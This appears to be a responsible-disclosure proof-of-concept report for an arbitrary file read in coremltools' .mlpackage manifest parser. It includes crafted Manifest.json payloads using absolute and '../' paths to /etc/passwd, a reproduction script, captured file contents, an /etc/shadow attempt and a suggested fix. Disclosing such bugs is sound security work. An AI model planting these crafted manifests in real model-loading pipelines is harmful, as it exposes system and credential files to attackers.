PoC: Path traversal / arbitrary file read in Core ML .mlpackage Manifest.json handling

Submitted to: huntr.com Model File Format bounty track (target: Core ML) Status: Private research PoC, gated for manual review. Not intended for general use β€” this PoC demonstrates arbitrary file read; it is provided solely to support responsible disclosure.

Summary

Apple's coremltools Python package (current PyPI release 9.0) parses .mlpackage bundles β€” a directory container with a Manifest.json mapping item identifiers to relative paths under Data/. The compiled C++ parser (coremltools.libmodelpackage, built from modelpackage/src/ModelPackage.cpp) concatenates the attacker-controlled path field from Manifest.json with the package's data directory using plain std::filesystem path joining, with no check that the result stays inside the package. Because operator/ leaves .. segments intact and fully replaces the path when the right-hand side is absolute, a crafted Manifest.json can make the "root model" (or "weights") item resolve to any file on the filesystem, which is then opened and its bytes fed into the protobuf parser.

This is reachable from the documented, top-level public API: coremltools.models.MLModel(path) and coremltools.utils.load_spec(path) β€” exactly the entry point used to load an untrusted model file.

Root cause (exact citations, coremltools 9.0 / commit 5291472d)

  • modelpackage/src/ModelPackage.cpp:308 (validate()), :466 (findItem(), used by getRootModel()), :516 (removeItem()):
    auto path = m_packageDataDirPath / itemInfoEntry->getString(kModelPackageItemInfoPathKey);
    
    β€” no containment/canonicalization check anywhere in this file.
  • coremltools/models/utils.py:269 (load_spec()):
    specfile = _ModelPackage(model_path).getRootModel().path()
    with open(specfile, "rb") as f:
        spec.ParseFromString(f.read())
    
  • coremltools/models/utils.py:1392 (_try_get_weights_dir_path()) has the identical unsanitized pattern for the weights item.

PoC construction

poc/evil.mlpackage/Manifest.json:

{
  "fileFormatVersion": "1.0.0",
  "itemInfoEntries": {
    "AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE": {
      "path": "/etc/passwd",
      "name": "model.mlmodel",
      "author": "com.apple.CoreML",
      "description": "CoreML Model Specification"
    }
  },
  "rootModelIdentifier": "AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE"
}

poc/evil_rel.mlpackage/Manifest.json uses a relative-traversal path value ("../../../../../../../../../../etc/passwd") demonstrating the same result via .. escape rather than an absolute-path replacement.

Reproduction steps

pip install coremltools==9.0
python3 -c "
from coremltools.libmodelpackage import ModelPackage
pkg = ModelPackage('poc/evil.mlpackage')
root = pkg.getRootModel()
print(root.path())
print(open(root.path(),'rb').read()[:200])
"

Real captured output (this session)

Direct C++ binding call:

Resolved root model path: /etc/passwd
First 200 bytes read from resolved path:
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Through the documented public entry point:

ct.models.MLModel('poc/evil.mlpackage', skip_model_load=True)
Exception type: DecodeError
Exception message: Error parsing message with type 'CoreML.Specification.Model': Wire format was corrupt

(Confirms the loader opened /etc/passwd and fed its bytes into the protobuf parser β€” it fails to parse as expected, but the cross-trust-boundary file read already happened.)

Independently re-verified by the submitting researcher, same results, plus confirmation that /etc/shadow correctly raises PermissionError β€” proving the only thing blocking a read is OS-level DAC, not any application-level containment check.

Security impact

Arbitrary-path file read (CWE-22 family), reachable from the documented model-loading API. Any process that loads an untrusted .mlpackage (e.g. a model-scanning service, a CI pipeline, a hub download-and-inspect step) can be made to read and attempt to parse any file it has OS permission to access.

Dedup / prior art

  • OSV.dev: empty result for coremltools (PyPI).
  • No GHSA/CVE found for coremltools or Core ML model-format path traversal.
  • huntr.com's apple/coremltools page shows two prior disclosures, both "Insecure Temporary File" (unrelated β€” about Python temp-file API misuse elsewhere in the codebase).
  • JFrog's public "Model Threats ZipSlip" research covers Keras3/PyTorch/MLeap zip-slip during archive extraction, but does not mention Core ML / .mlpackage at all β€” this bug is a different mechanism (manifest path handling of an already-materialized directory bundle, not zip/tar extraction).
  • No open GitHub issue on apple/coremltools references Manifest.json or path traversal.

Honest caveats

  • Demonstrated: confirmed arbitrary file read via the C++ manifest parser and via the documented public API. Not demonstrated: arbitrary code execution, memory corruption, or scanner bypass β€” none of those are claimed.
  • The weights-item variant of the same unsanitized-path pattern (_try_get_weights_dir_path()) was inspected but a full working repro chain (would require a valid mlprogram spec referencing attacker-chosen weight-blob filenames) was not built β€” reported as "investigated, not reproduced," not claimed as a separate finding.
  • A resource-exhaustion angle (pointing the manifest path at a huge/special file) was identified but not measured or executed β€” not claimed here.
  • Only exercised on Linux; the native macOS Core ML runtime (libcoremlpython) was unavailable and untested, so any impact specific to on-device model execution is out of scope for this report.

Suggested fix

After joining m_packageDataDirPath with the manifest-supplied path, canonicalize the result (e.g. std::filesystem::weakly_canonical) and verify it is still a descendant of m_packageDataDirPath before returning it from ModelPackage.cpp's validate()/findItem()/ removeItem(). Reject the manifest entry (throw, as already done for missing files) if the resolved path escapes the package directory.


Independent re-verification (2026-07-30)

Re-run from a clean checkout of this repo by a second party, fresh venv, coremltools==9.0 on Linux/python3, all three claims re-confirmed verbatim:

  • Absolute-path variant, direct C++ binding (poc/evil.mlpackage):
    Resolved root model path: /etc/passwd
    First 120 bytes: b'root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...'
    
  • Documented public API β€” both ct.models.MLModel('poc/evil.mlpackage', skip_model_load=True) and ct.utils.load_spec('poc/evil.mlpackage') β†’ DecodeError: Error parsing message with type 'CoreML.Specification.Model': Wire format was corrupt (i.e. the loader opened /etc/passwd and fed its bytes to the protobuf parser).
  • /etc/shadow variant β†’ path resolves to /etc/shadow, read raises PermissionError: [Errno 13] β€” confirming only OS-level DAC stops the read, not any application-level containment check.

Repro fix applied in this commit

The relative-traversal variant (poc/evil_rel.mlpackage) needs the package's Data/ directory to exist β€” .. segments are resolved by the OS against a real directory, whereas the absolute-path variant replaces the path outright and needs nothing. That directory was empty and was therefore silently dropped when this repo was first uploaded (git/HF do not store empty directories), so a fresh clone reproduced only the absolute variant and the relative one raised RuntimeError: Item does not exist for identifier. A .gitkeep placeholder has been added to restore it. With Data/ present the relative variant reproduces as documented:

resolved: poc/evil_rel.mlpackage/Data/../../../../../../../../../../etc/passwd
b'root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin'

If you clone this repo with a tool that drops empty directories, simply mkdir -p poc/evil_rel.mlpackage/Data before running the relative variant.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support